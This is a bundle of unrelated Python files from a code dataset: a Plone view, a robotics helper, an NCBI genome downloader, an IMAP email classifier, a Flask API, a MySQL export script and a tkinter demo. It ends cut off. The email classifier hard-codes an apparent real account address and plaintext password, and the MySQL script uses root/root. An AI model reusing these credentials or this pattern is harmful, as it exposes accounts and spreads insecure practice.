IProjectContentProvider\n\n\nclass ProjectContentView(BrowserView):\n \"\"\"Return information about the contents of a project.\"\"\"\n implements(IProjectContentView)\n\n @memoize\n def requested_type(self):\n \"\"\"Return the requested portal type.\"\"\"\n return self.request.form.get('type', None)\n\n @memoize\n def requested_state(self):\n \"\"\"Return the requested state.\"\"\"\n return self.request.form.get('state', None)\n\n def title(self):\n \"\"\"Return the title for the page.\"\"\"\n context = aq_inner(self.context)\n portal_type = self.requested_type()\n type_map = {'iteration': u'Iterations',\n 'offer': u'Offers',\n 'tracker': u'Issue trackers',\n 'other': u'Attachments',\n }\n title = context.Title()\n if portal_type:\n type_title = type_map.get(portal_type)\n if type_title:\n title += ': %s' % type_title\n return title\n\n\nclass ProjectContentProvider(Explicit):\n \"\"\"View to show specific items contained in a project.\"\"\"\n implements(IContentProvider, IProjectContentProvider)\n adapts(Interface, IDefaultBrowserLayer, IBrowserView)\n\n portal_type = None\n state = None\n\n def __init__(self, context, request, view):\n self.context = context\n self.request = request\n self.__parent__ = view\n self.project_view = aq_inner(context).restrictedTraverse('@@project')\n\n def update(self):\n pass\n\n render = ViewPageTemplateFile('templates/project_content.pt')\n\n def _get_iteration(self):\n \"\"\"Return the iterations.\n Optionally take the state into account, when requested.\n \"\"\"\n state_map = {'open': ('new', ),\n 'closed': ('completed', 'invoiced', 'own-account'),\n 'current': ('in-progress', ),\n }\n states = state_map.get(self.state, None)\n return self.project_view.getIterations(states)\n\n def _get_offer(self):\n \"\"\"Return the offers.\"\"\"\n return self.project_view.offers()\n\n def _get_tracker(self):\n \"\"\"Return the issue trackers.\"\"\"\n context = aq_inner(self.context)\n cfilter = dict(portal_type='PoiTracker')\n brains = context.getFolderContents(cfilter)\n tracker_list = []\n for brain in brains:\n tracker_list.append(dict(title = brain.Title,\n url = brain.getURL(),\n ))\n return tracker_list\n\n def _get_other(self):\n \"\"\"Return all other content of a project,\n not being iterations, offers or trackers.\n \"\"\"\n # First gather which content types should be treated differently.\n portal_props = getToolByName(self, 'portal_properties')\n site_props = portal_props['site_properties']\n view_types = site_props.typesUseViewActionInListings\n\n # Gather the content\n context = aq_inner(self.context)\n cfilter = {'portal_type': ('File', 'Image', 'Story', 'Document')}\n brains = context.getFolderContents(cfilter)\n\n # Build the result set\n result_list = []\n for brain in brains:\n url = brain.getURL()\n if brain.portal_type in view_types:\n url += '/view'\n result_list.append(dict(title = brain.Title,\n url = url,\n ))\n return result_list\n\n @memoize\n def items(self):\n \"\"\"Return the items to be shown.\"\"\"\n method = '_get_%s' % str(self.portal_type).lower()\n if method in dir(self):\n return self.__getattribute__(method)()\n else:\n return []\n","sub_path":"xm/theme/browser/project.py","file_name":"project.py","file_ext":"py","file_size_in_byte":4462,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"428055808","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nfrom compas_fab.backends.interfaces import AppendCollisionMesh\n\n__all__ = [\n 'PyBulletAppendCollisionMesh',\n]\n\n\nclass PyBulletAppendCollisionMesh(AppendCollisionMesh):\n \"\"\"Callable to append a collision mesh to the planning scene.\"\"\"\n def __init__(self, client):\n self.client = client\n\n def append_collision_mesh(self, collision_mesh, options=None):\n \"\"\"Append a collision mesh to the planning scene.\n\n Parameters\n ----------\n collision_mesh : :class:`compas_fab.robots.CollisionMesh`\n Object containing the collision mesh to be appended.\n options : dict, optional\n Unused parameter.\n\n Returns\n -------\n ``None``\n \"\"\"\n mesh = collision_mesh.mesh\n name = collision_mesh.id\n frame = collision_mesh.frame\n if name in self.client.collision_objects:\n body_id = self.client.convert_mesh_to_body(mesh, frame, name)\n self.client.collision_objects[name].append(body_id)\n else:\n self.client.add_collision_mesh(collision_mesh)\n","sub_path":"src/compas_fab/backends/pybullet/backend_features/pybullet_append_collision_mesh.py","file_name":"pybullet_append_collision_mesh.py","file_ext":"py","file_size_in_byte":1198,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"425983331","text":"#!/usr/bin/env python3\n# Standard library imports\nimport os\nimport re\nimport sys\n\n\n# Third party imports\nfrom bs4 import BeautifulSoup\n\n\n# Package imports\nfrom ncbi import retrieve_url\nfrom ncbi import request_status\nfrom ncbi import create_directory\nfrom ncbi import write_file\nfrom ncbi import replace_special\nfrom ncbi.entrez import esearch_query\nfrom ncbi.entrez import esummary_query\nimport ncbi.concurrency\n\n\n# Set up logger (functions from ncbi.Common)\nlogger = ncbi.get_logger(__package__)\nncbi.add_log_stream(logger, sys.stdout)\n# Setting level of all ncbi loggers to INFO\nncbi.set_log_level(10)\n\n\nclass Species():\n\n def __init__(self, genus=None, species=None, genomedb_id=None):\n self.genus = genus\n self.species = species\n self.genomedb_id = genomedb_id\n\n\n def find_assemblies(self):\n \"\"\"Collects information on all available assemblies for a given organism\n\n Returns Species class containing assembly information in assembly_info\"\"\"\n # Gathers required organism information\n if self.genus and self.species:\n self.genomedb_id = retrieve_genomedb_id(self.genus, self.species)\n elif self.genomedb_id:\n self.genus, self.species = retrieve_species(self.genomedb_id)\n elif self.genus and self.species and self.genomedb_id:\n # Already have all information\n pass\n else:\n logger.error('Need either genus and species or genomedb_id')\n sys.exit(1)\n # Collect number of pages of assemblies\n self.assembly_number, self.pages = find_assembly_number(self.genomedb_id)\n # Retrieve assembly info (wrapping retrieval and processing)\n self.assembly_info = gather_assembly_information(self.genomedb_id,\n self.pages, self.assembly_number)\n\n\n def download_assemblies(self, quality=4, output_folder=None):\n \"\"\"Easier handling for download_assemblies\n GenomeDB.download_assemblies function\"\"\"\n if not output_folder:\n output_folder = os.path.join('genomes', '%s_%s' % (self.genus,\n self.species))\n # Subset assemblies on quality\n filtered_assembly_info = []\n for assembly in self.assembly_info:\n if quality >= assembly.quality:\n filtered_assembly_info.append(assembly)\n download_assemblies(filtered_assembly_info, output_folder)\n\n\nclass Assembly():\n\n quality_map = {'Complete Genome': 1,\n 'Chromosome': 2,\n 'Scaffold': 3,\n 'Contig': 4}\n #refseq_prefix = ['AC', 'NC', 'NG', 'NT', 'NW', 'NS', 'NZ', 'NM', 'NR',\n # 'XM', 'XR', 'AP', 'NP', 'YP', 'XP', 'ZP']\n\n\n def __init__(self, name, strain, clade_id, biosample, bioproject, assembly,\n level, size, gc, replicons, wgs, scaffolds, genes, protein,\n release_date, modify_date, ftp):\n self.name = name\n self.strain = strain\n self.clade_id = clade_id\n self.biosample = biosample\n self.bioproject = bioproject\n self.assembly = assembly\n self.level = level\n self.size = size\n self.gc = gc\n self.replicons = replicons\n self.wgs = wgs\n self.scaffolds = scaffolds\n self.genes = genes\n self.protein = protein\n self.release_date = release_date\n self.modify_date = modify_date\n self.ftp = ftp\n\n\n @classmethod\n def from_soup(cls, name, strain, clade_id, biosample, bioproject, assembly,\n level, size, gc, replicons, wgs, scaffolds, genes, protein,\n release_date, modify_date, ftp):\n \"\"\"Class method to process HTML (as bs4 class) and create an instance\"\"\"\n # Process raw soup\n name = str(name.find('a').string)\n strain = str(strain.find('a').string)\n clade_id = str(clade_id.string)\n biosample = str(biosample.find('a').string)\n bioproject = str(bioproject.find('a').string)\n assembly = str(assembly.find('a').string)\n level = str(level.find('img')['alt'])\n size = str(size.string)\n gc = str(gc.string)\n replicons = cls.get_replicons(replicons)\n # Get Trace identifer\n if wgs.find('a'):\n wgs = str(wgs.find('a').string)\n else:\n wgs = None\n # Get scaffolds\n if scaffolds.string != '-':\n scaffolds = str(scaffolds.string)\n else:\n scaffolds = None\n gene = str(genes.string)\n if protein.find('a'):\n protein = str(protein.find('a').string)\n else:\n protein = None\n release_date = str(release_date.string)\n modify_date = str(modify_date.string)\n ftp = cls.get_ftp_links(ftp)\n # Initialise class\n assembly = cls(name, strain, clade_id, biosample, bioproject, assembly,\n level, size, gc, replicons, wgs, scaffolds, gene, protein,\n release_date, modify_date, ftp)\n return assembly\n\n\n @staticmethod\n def get_replicons(raw):\n # TODO: Check if I need to descriminate refew accessions using prefix\n # or if positional identification is okay (refseq_id/other_id)\n roman_map = {'I': '1', 'II': '2'}\n replicon_re = re.compile(r'^(chromosome|plasmid) {0,1}(.*):(.+?)/(.+)$')\n switch_re = re.compile(r'replicons_[0-9]+_switch')\n replicons = {'chromosome': {}, 'plasmid': {}}\n raw_replicons = raw.findAll('td')\n # If no replicons for current entry, return None\n if not raw_replicons:\n return replicons\n # Get details of each replicon and add them to dict\n for raw_replicon in raw_replicons:\n # Skip if the is a 'Show all [0-9]+ replicons' link\n if 'id' in raw_replicon.attrs and switch_re.search(raw_replicon['id']):\n continue\n # Gather replicon info\n match = replicon_re.search(raw_replicon.text)\n replicon_type, number, refseq_id, other_id = match.groups()\n # Set roman numerals to abric numerals; if undefined set to 1\n if replicon_type == 'chromosome':\n if number in roman_map:\n number = roman_map[number]\n elif not number:\n number = '1'\n replicons[replicon_type][number] = {'refseq': refseq_id, 'other': other_id}\n return replicons\n\n\n @staticmethod\n def get_ftp_links(raw):\n \"\"\"Takes HTML from a FTP data cell and processes into dict\"\"\"\n raw_links = raw.findAll('a')\n # If not FTP links, return None\n if not raw_links:\n return\n # Add links to dict and return\n links = {'refseq': None, 'genbank': None}\n for raw_link in raw_links:\n database = raw_link.find('img')['alt'].replace('ftp-', '')\n link = raw_link['href']\n links[database] = link\n return links\n\n\n @property\n def nucleotide_id(self):\n # TODO: handle multiple chromosomes and optionally plasmids for either\n # refseq or that other accession\n if self.replicons['chromosome']:\n return self.replicons['chromosome']['1']['refseq']\n elif self.wgs:\n return self.wgs\n\n\n @property\n def format_type(self):\n if self.replicons['chromosome']:\n return 'genbank'\n elif self.wgs:\n return 'wgs'\n\n\n @property\n def quality(self):\n return Assembly.quality_map[self.level]\n\n\ndef set_pool_size(size):\n \"\"\"Provides access to the static work pool size\"\"\"\n ncbi.concurrency.MAX_WORKERS = size\n\n\ndef retrieve_species(genomedb_id):\n \"\"\"Using the genome database ID the genus and species are retrieved\"\"\"\n logger.info('Retrieving genus and species for ID %s' % genomedb_id)\n database = 'genome'\n name_re = re.compile(r'(.+?) (.+?'\n ')')\n r = esummary_query(database, genomedb_id)\n return name_re.search(r).groups()\n\n\ndef retrieve_genomedb_id(genus, species):\n \"\"\"Using genus and species, the genome database ID is retrieved\"\"\"\n logger.info('Retrieving ID for %s %s' % (genus, species))\n database = 'genome'\n search_term = '\"%s%%20%s\"%%5BOrganism%%5D' % (genus, species)\n genomedb_id_re = re.compile('([0-9]+)')\n r = esearch_query(database, search_term)\n genome_ids = genomedb_id_re.findall(r)\n if not genome_ids:\n logger.error('No genome database ID found for %s %s' % (genus, species))\n sys.exit(1)\n elif len(genome_ids) > 1:\n logger.error('More than one result for %s %s' % (genus, species))\n sys.exit(1)\n return genome_ids[0]\n\n\ndef find_assembly_number(genomedb_id):\n \"\"\"Retrieve the number of assemblies and pages from the genome summary\"\"\"\n logger.info('Getting number of assemblies and pages')\n # This page has the actualy number of assemblies available\n url = 'https://www.ncbi.nlm.nih.gov/genome/genomes/%s'\n request_url = url % genomedb_id\n logger.debug('Requesting %s' % request_url)\n r = retrieve_url(request_url)\n # TODO: Better errror handling\n r_status, r_message = request_status(r)\n if r_status =='failed':\n logger.error(r_message)\n sys.exit(1)\n assembly_re = re.compile('and Annotation report \\\\[([0-9]+)\\\\]')\n assembly_number = int(assembly_re.search(r.text).group(1))\n # 100 assemblies per page\n pages = assembly_number // 100 + 1\n logger.info('Found %d assemblies in %d pages' % (assembly_number, pages))\n return assembly_number, pages\n\n\ndef gather_assembly_information(genomedb_id, pages, assembly_number):\n \"\"\"Retrieve assembly info pages and the extract information\"\"\"\n # Get HTML for all assembly pages\n args = [(genomedb_id, page, pages) for page in range(1, pages+1)]\n pages_html = ncbi.concurrency.threaded_function(retrieve_assembly_page, args)\n # Extract assembly information from HTML pages; multiprocessing must pickle\n # data so we can't use lambda here\n args = [(page_html, page, len(pages_html)) for page, page_html in enumerate(pages_html, 1) if page_html]\n pages_assemblies = ncbi.concurrency.multiprocess_function(process_assembly_page_adapter, args)\n assemblies = [assembly for page in pages_assemblies for assembly in page]\n if len(assemblies) != assembly_number:\n logger.error('Expected %s assemblies, got %d' % (assembly_number,\n len(assemblies)))\n logger.info('Got information for %d assemblies' % len(assemblies))\n return assemblies\n\n\ndef retrieve_assembly_page(genomedb_id, page, total):\n # TODO: Make requests for different assembly qualities, if requested\n url = ('http://www.ncbi.nlm.nih.gov/genomes/Genome2BE/genome2srv.cgi?actio'\n 'n=GetGenomes4Grid&genome_id=%s&genome_assembly_id=&king=Bacteria&m'\n 'ode=2&flags=1&page=%s&pageSize=100&sortCol=7&sortDir=-1')\n logger.info('Downloading page %d of %d' % (page, total))\n request_url = url % (genomedb_id, page)\n logger.debug('Requesting %s' % request_url)\n r = retrieve_url(request_url)\n # TODO: Error handling\n r_status, r_message = request_status(r)\n if r_status =='failed':\n logger.error(r_message)\n return\n return r.text\n\n\ndef process_assembly_page_adapter(args):\n \"\"\"Adapter function for process_assembly_page when used with multiprocessing\n\n Multiprocessing must pickle data - this is not compatible with anon.\n functions. This is used in place\"\"\"\n return process_assembly_page(*args)\n\n\ndef process_assembly_page(page_html, page, total):\n \"\"\"Extract assembly information from assembly page HTML\"\"\"\n logger.info('Processing page %d of %d' % (page, total))\n soup = BeautifulSoup(page_html, 'html.parser')\n id_re = re.compile('genome_assembly_id=([0-9]+)')\n genbank_re = re.compile('chromosome.+?:(.+?)')\n assemblies = []\n # For each entry, get the relevant details\n for row in soup.findAll('tr', recursive=False):\n # Initialising and appending Assembly class\n cols = row.findAll('td', recursive=False)\n assemblies.append(Assembly.from_soup(*cols))\n return assemblies\n\n\ndef download_assemblies(assembly_info, output_folder):\n create_directory(output_folder)\n args = []\n for i, assembly in enumerate(assembly_info, 1):\n # Setting download url and file name\n if assembly.format_type == 'genbank':\n url = ('http://eutils.ncbi.nlm.nih.gov/entrez/eutils/efetch.fcgi?d'\n 'b=nucleotide&id=%s&rettype=gbwithparts')\n output_path = os.path.join(output_folder, '%s.gbk' % assembly.nucleotide_id)\n elif assembly.format_type == 'wgs':\n url = ('http://www.ncbi.nlm.nih.gov/Traces/wgs/?download=%s.1.fsa_'\n 'nt.gz')\n output_path = os.path.join(output_folder, '%s.fsa_nt.gz' % assembly.nucleotide_id)\n else:\n logger.error('Unhandled format type %s' % assembly.format_type)\n sys.exit(1)\n args.append((url, assembly.nucleotide_id, assembly.format_type, output_path, i, len(assembly_info)))\n # Get them assemblies\n ncbi.concurrency.threaded_function(retrieve_nucleotide_sequence, args)\n\n\ndef retrieve_nucleotide_sequence(url, nucleotide_id, format_type, output_path, i, total):\n if os.path.exists(output_path):\n logger.info('File %s already exists (%d of %d), skipping' % (output_path, i, total))\n return\n # Set correct modes and retrieving correct data for different formats\n request_url = url % nucleotide_id\n logger.info('Downloading file %s of %s to %s' % (i, total, output_path))\n logger.debug('Requesting %s' % request_url)\n r = retrieve_url(request_url)\n # TODO: Better errror handling; valid genbank or gzip file\n r_status, r_message = request_status(r)\n if r_status =='failed':\n logger.error(r_message)\n return\n # Save to file\n write_file(r.content, output_path, 'wb')\n","sub_path":"ncbi/genomedb/genomedb.py","file_name":"genomedb.py","file_ext":"py","file_size_in_byte":14044,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"355594255","text":"# Start with your program from Exercise 8-7.\n\n\ndef make_album(artist, title, tracks=\"\"):\n \"\"\"Stores information about an album.\"\"\"\n album = {'artist name': artist, 'album title': title}\n if tracks:\n album['tracks'] = tracks\n return album\n\n\n# Write a while loop that allows users to enter an album’s artist and\n# title. Be sure to include a quit value in the while loop.\nwhile True:\n artist = input(\"Please, enter the album artist (enter 'q' to quit):\\n\")\n if artist == 'q':\n break\n title = input(\"Please, enter the album title (enter 'q' to quit):\\n\")\n if title == 'q':\n break\n\n# Once you have that information, call make_album() with the user’s\n# input and print the dictionary that’s created.\n print(make_album(artist, title))\n","sub_path":"Chapter8/8-8.py","file_name":"8-8.py","file_ext":"py","file_size_in_byte":783,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"547133459","text":"import nltk\nimport csv\nimport pandas\nfrom sklearn.feature_extraction.text import CountVectorizer, TfidfTransformer\nfrom sklearn.naive_bayes import MultinomialNB\nfrom sklearn.cross_validation import StratifiedKFold, cross_val_score, train_test_split\nimport string\nfrom nltk.stem import WordNetLemmatizer\nfrom nltk.stem.porter import PorterStemmer\n\nfrom gtts import gTTS\nimport os\n\nimport imaplib\nimport email\nimport email.header\nimport time\nimport datetime\nfrom threading import Thread\n\n\ndef split_into_lemmas_(sentence):\n wordnet_lemmatizer = WordNetLemmatizer()\n porter_stemmer = PorterStemmer()\n exclude = set(string.punctuation)\n sentence = ''.join(ch for ch in sentence if ch not in exclude)\n sentence= sentence.lower()\n tokens = nltk.word_tokenize(sentence)\n tokens=[porter_stemmer.stem(word) for word in tokens]\n return [wordnet_lemmatizer.lemmatize(word) for word in tokens]\n\ndef response(msg):\n\n tts = gTTS(text='you have a '+msg+'request', lang='en')\n tts.save(\"response.mp3\")\n os.system(\"response.mp3\")\n\n\n\n\n\n\n\n\n\n\n\ndef classify(mail):\n\n #transorfmming and filtering input data\n print (mail)\n bow4 = bow_transformer.transform([mail])\n\n mail=split_into_lemmas_(mail)\n tfidf4 = tfidf_transformer.transform(bow4)\n\n\n prediction=meeting_detector.predict(tfidf4)[0]\n print ('predicted:',prediction )\n if(prediction!='ham'):\n response(prediction)\n\n\n\n#mail='i want to meet you and discuss with you'\n#classify(mail)\n\n#mail='Kindly change the time of the meeting'\n#classify(mail)\n\n\n\n\n\n# Use 'INBOX' to read inbox. Note that whatever folder is specified,\n# after successfully running this script all emails in that folder\n# will be marked as read.\n\n\nclass MyThread(Thread):\n def __init__(self, mail):\n ''' Constructor. '''\n Thread.__init__(self)\n self.val = mail\n\n def run(self):\n while True:\n process_mailbox(self.val)\n #print (\"loop completed\")\n\n time.sleep(5)\n\n\n\ndef process_mailbox(mail):\n\n mail.list()\n mail.select('inbox')\n\n result, data = mail.uid('search', None, \"UNSEEN\") # (ALL/UNSEEN)\n i = len(data[0].split())\n\n for x in range(i):\n latest_email_uid = data[0].split()[x]\n result, email_data = mail.uid('fetch', latest_email_uid, '(RFC822)')\n # result, email_data = conn.store(num,'-FLAGS','\\\\Seen')\n # this might work to set flag to seen, if it doesn't already\n raw_email = email_data[0][1]\n raw_email_string = raw_email.decode('utf-8')\n email_message = email.message_from_string(raw_email_string)\n\n # Header Details\n date_tuple = email.utils.parsedate_tz(email_message['Date'])\n if date_tuple:\n local_date = datetime.datetime.fromtimestamp(email.utils.mktime_tz(date_tuple))\n local_message_date = \"%s\" % (str(local_date.strftime(\"%a, %d %b %Y %H:%M:%S\")))\n email_from = str(email.header.make_header(email.header.decode_header(email_message['From'])))\n email_to = str(email.header.make_header(email.header.decode_header(email_message['To'])))\n subject = str(email.header.make_header(email.header.decode_header(email_message['Subject'])))\n\n # Body details\n for part in email_message.walk():\n if part.get_content_type() == \"text/plain\":\n body = part.get_payload(decode=True)\n\n body=body.decode('utf-8')\n #classifying the upcoming mail\n print('--------------')\n print(body)\n classify(body)\n\n else:\n continue\n\n\n#################################\n\nmessages = pandas.read_csv('dataSet', sep='\\t', quoting=csv.QUOTE_NONE, names=[\"label\", \"message\"])\n\nmsg_train, msg_test, label_train, label_test = train_test_split(messages['message'], messages['label'], test_size=0,\n random_state=0)\n\n # print(msg_train)\n\n\n # Training the Classifier\nbow_transformer = CountVectorizer(analyzer=split_into_lemmas_).fit(msg_train)\nbow_transformer.min_df = 0.5\n\nprint(len(bow_transformer.vocabulary_))\n\nmessages_bow = bow_transformer.transform(msg_train)\ntfidf_transformer = TfidfTransformer().fit(messages_bow)\nmessages_tfidf = tfidf_transformer.transform(messages_bow)\n\n # providing data and labels to the classifier\nmeeting_detector = MultinomialNB().fit(messages_tfidf, label_train)\n\n##########################################################\n\ndef run(email, pw):\n '''\n messages = pandas.read_csv('dataSet', sep='\\t', quoting=csv.QUOTE_NONE, names=[\"label\", \"message\"])\n\n msg_train, msg_test, label_train, label_test = train_test_split(messages['message'], messages['label'], test_size=0,\n random_state=0)\n\n # print(msg_train)\n\n\n # Training the Classifier\n bow_transformer = CountVectorizer(analyzer=split_into_lemmas_).fit(msg_train)\n bow_transformer.min_df = 0.5\n\n print(len(bow_transformer.vocabulary_))\n\n messages_bow = bow_transformer.transform(msg_train)\n tfidf_transformer = TfidfTransformer().fit(messages_bow)\n messages_tfidf = tfidf_transformer.transform(messages_bow)\n\n # providing data and labels to the classifier\n meeting_detector = MultinomialNB().fit(messages_tfidf, label_train)\n'''\n\n EMAIL_ACCOUNT = \"l144083@lhr.nu.edu.pk\"\n# EMAIL_ACCOUNT = email\n PASSWORD = \"15987415\"\n# PASSWORD = pw\n\n mail = imaplib.IMAP4_SSL('imap.gmail.com')\n\n mail.login(EMAIL_ACCOUNT, PASSWORD)\n\n mail.list()\n mail.select('inbox')\n\n vehshithread=MyThread(mail)\n\n vehshithread.start()\n\n vehshithread.join()\n\nimport gui_1\nimport sys\nfrom PyQt4 import QtCore, QtGui\n\nif __name__ == \"__main__\":\n# global MainWindow\n\n print(\"start test.py\")\n\n print(\"calling gui 1\")\n app = QtGui.QApplication(sys.argv)\n\n MainWindow = QtGui.QMainWindow()\n ui = gui_1.Ui_MainWindow()\n ui.setupUi(MainWindow)\n\n MainWindow.show ()\n\n\n# Home = QtGui.QMainWindow()\n# w_ui = gui_2.Ui_Home()\n# w_ui.setupUi(Home)\n# Home.show()\n\n# sys.exit(app.exec_())\n\n sys.exit(app.exec_())\n\ndef SignUpBtnCall(email, pw):\n print(\"Home Screen\")\n run(email,pw)\n\n#testM=pandas.DataFrame({'index':msg_test.index, 'message':msg_test.values})\n#testL=pandas.DataFrame({'index':label_test.index, 'label':label_test.values})\n\n\n#bowww = bow_transformer.transform(msg_test)\n#testtfidf = tfidf_transformer.transform(bowww)\n\n#all_predictions = spam_detector.predict(testtfidf)\n#print(msg_test.size)\n\n#print ('accuracy', accuracy_score(label_test, all_predictions))\n#print ('confusion matrix\\n', confusion_matrix(label_test, all_predictions))\n#print ('(row=expected, col=predicted)')\n\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":6767,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"449476950","text":"import requests\nimport time\nimport json\nimport datetime\n\nfrom flask import Flask, render_template, request, jsonify\nfrom flask_cors import CORS\nfrom flask_restful import Resource, Api\nfrom flask_sqlalchemy import SQLAlchemy\n\napp = Flask(__name__)\napp.static_folder = 'static'\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///sqlite.db'\napi = Api(app)\ndb = SQLAlchemy(app)\nCORS(app, resources={r'/*': {'origins': '*'}})\n\n\nclass People(db.Model):\n __tablename__ = \"faceai\"\n\n id = db.Column(db.Integer, primary_key=True)\n date = db.Column(db.Date, nullable=False)\n time = db.Column(db.Time, nullable=False)\n location = db.Column(db.String(10), nullable=False)\n username = db.Column(db.String(20), nullable=False)\n status = db.Column(db.String(20))\n\n def get(self):\n return {\n 'datet': self.date,\n 'time': self.time.strftime('%H:%M:%S'),\n 'location': self.location,\n 'username': self.username,\n 'status': self.status\n }\n\nclass Find(Resource):\n def post(self):\n tmp = list()\n for i in People.query.all():\n tmp.append(i.get())\n return jsonify({'data': tmp[-5:]})\n\napi.add_resource(Find, '/find')\n\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0')\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1277,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"590513049","text":"#!/usr/bin/env python\n# coding=utf-8\n\n# - - - Extração dos dados do banco de dados e criação de vários arquivos de nome Id da tarefa, contendo o título e texto da tarefa\n# - - - Criação de arquivo único de índice, contendo o id da tarefa e o tamanho da mesma\n\nfrom __future__ import print_function\nimport pymysql\n\n# Conexão com o banco de dados\nconn = pymysql.connect(host='localhost', port=3306, user='root', passwd='root', db='bitnami_redmine')\n\n# cursor de operações\ncur = conn.cursor()\n\n# Teste para selecionar apenas tarefas de um determinado tamanho\n#cur.execute(\"SELECT * FROM db where tamanho = 20\")\n\n# Select\ncur.execute(\"SELECT * FROM db\")\n\nprint(cur.description)\n\ncats = open(\"cats.txt\", \"a\", encoding='utf8')\n\nfor row in cur:\n\n id = row[:1]\n tamanho = row[3:4]\n titulo = \"%s\" % row[1:2]\n descricao = \"%s\" % (row[2:3])\n\n index = \"texto/%s %s\\n\" % (id, tamanho)\n filename = \"%s\" % (id)\n txt = \"%s\\n%s\" % (titulo, descricao)\n\n # Arquivo com a tarefa\n file = open(filename, 'w', encoding='utf8')\n file.write(txt)\n\n # Arquivo único com id - tamanho\n cats.write(index)\n\nprint(cur.rowcount)\n\ncur.close()\nconn.close()","sub_path":"dimensionamento/extractFromDB.py","file_name":"extractFromDB.py","file_ext":"py","file_size_in_byte":1171,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"125058474","text":"from tkinter import *\nimport numpy as np\nimport time\nfrom tkinter.font import Font\n\nfrom PIL import ImageTk, Image\n\n# Window size\nn = 10\nwindow_w = int(2.1**n)\nwindow_h = int(2**n)\nnp.set_printoptions(suppress=True)\n\n# Tkinter Setup\nroot = Tk()\nroot.title(\"Animations\")\nroot.attributes(\"-topmost\", True)\nroot.geometry(str(window_w) + \"x\" + str(window_h)) # window size hardcoded\nw = Canvas(root, width=window_w, height=window_h)\nw.pack()\n\nfrom io import BytesIO\nfrom matplotlib.mathtext import math_to_image\nimport matplotlib\nfrom matplotlib import pyplot as plt\n\n# Goes from (0,0) coordinate system to typical annoying one.\ndef A(x, y):\n return x + window_w/2, -y + window_h/2\n\n# Goes from typical annoying coordinate system to (0,0) one.\ndef A_inv(x, y):\n return -window_w/2 + x, window_h/2 - y\n\ndef prepare_laTeX():\n matplotlib.rc('text', usetex=True)\n matplotlib.rcParams['savefig.facecolor'] = 'black'\n matplotlib.rcParams['savefig.bbox'] = 'tight'\n\n fig, ax = plt.subplots(1, 1)\n fig.patch.set_alpha(0.5)\n\ndef laTeX(text, color, size):\n # Set text color.\n matplotlib.rcParams['text.color'] = color\n matplotlib.rcParams['font.size'] = size\n\n # Turn math to image with black background.\n buffer = BytesIO()\n math_to_image(text, buffer, dpi=75, format='svg')\n buffer.seek(0)\n pimage = Image.open(buffer)\n\n # Remove black background to make transparent.\n data = pimage.getdata()\n newData = []\n for item in data:\n T = 0\n if item[0] <= T and item[1] <= T and item[2] <= T:\n newData.append((255, 255, 255, 0))\n else:\n newData.append(item)\n pimage.putdata(newData)\n\n # Return final PhotoImage object to display.\n return ImageTk.PhotoImage(pimage)\n\n\n# def\n\n\nprepare_laTeX()\nfirst = True\nx = 0\ndef run():\n global x, first, work_integral, b\n w.configure(background='black')\n\n k = 70\n\n f_text = 'Avenir Next Ultra Light'\n font = Font(family=f_text, size=k)\n text = 'The trig function is '\n c = font.measure(text)\n\n if first:\n work_integral = laTeX('$\\\\sin{(x+\\\\pi)}$', 'red', k)\n\n w.create_text(*A(0,0), text=text, font=(f_text, k), fill='red', tag='txt', anchor=W)\n w.create_image(*A(c, -2), image=work_integral, anchor=W, tag='integral')\n # w.create_text(*A(137, 0), text='.', font=('Avenir Next Ultra Light', k), fill='red')\n first = False\n else:\n img = w.find_withtag('integral')\n w.coords(img, *A(c, -2))\n txt = w.find_withtag('txt')\n w.itemconfig(txt, text=text)\n\n\n w.update()\n # time.sleep(0.001)\n time.sleep(0.5)\n\n\n# Main function\nif __name__ == '__main__':\n while True:\n run()\n\n# Necessary line for Tkinter\nmainloop()","sub_path":"2D Animation/Text Trial.py","file_name":"Text Trial.py","file_ext":"py","file_size_in_byte":2739,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"52244136","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='Project',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('project_name', models.CharField(max_length=200)),\n ('description', models.TextField(max_length=1024)),\n ('start_date', models.DateField(auto_now=True)),\n ('due_date', models.DateField(auto_now=True)),\n ('real_start_date', models.DateField(auto_now=True)),\n ('real_due_date', models.DateField(auto_now=True)),\n ],\n ),\n migrations.CreateModel(\n name='ProjectStatus',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('status_name', models.CharField(max_length=200)),\n ('color', models.CharField(max_length=7)),\n ('description', models.TextField(max_length=1024)),\n ],\n ),\n migrations.CreateModel(\n name='ProjectType',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('type_name', models.CharField(max_length=200)),\n ('description', models.TextField(max_length=1024)),\n ],\n ),\n migrations.AddField(\n model_name='project',\n name='project_type',\n field=models.ForeignKey(to='honeycomb.ProjectType'),\n ),\n migrations.AddField(\n model_name='project',\n name='status',\n field=models.ForeignKey(to='honeycomb.ProjectStatus'),\n ),\n ]\n","sub_path":"OpenCGPipeline/HoneyCombPy/honeycomb/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":1946,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"299696139","text":"\nimport pandas as 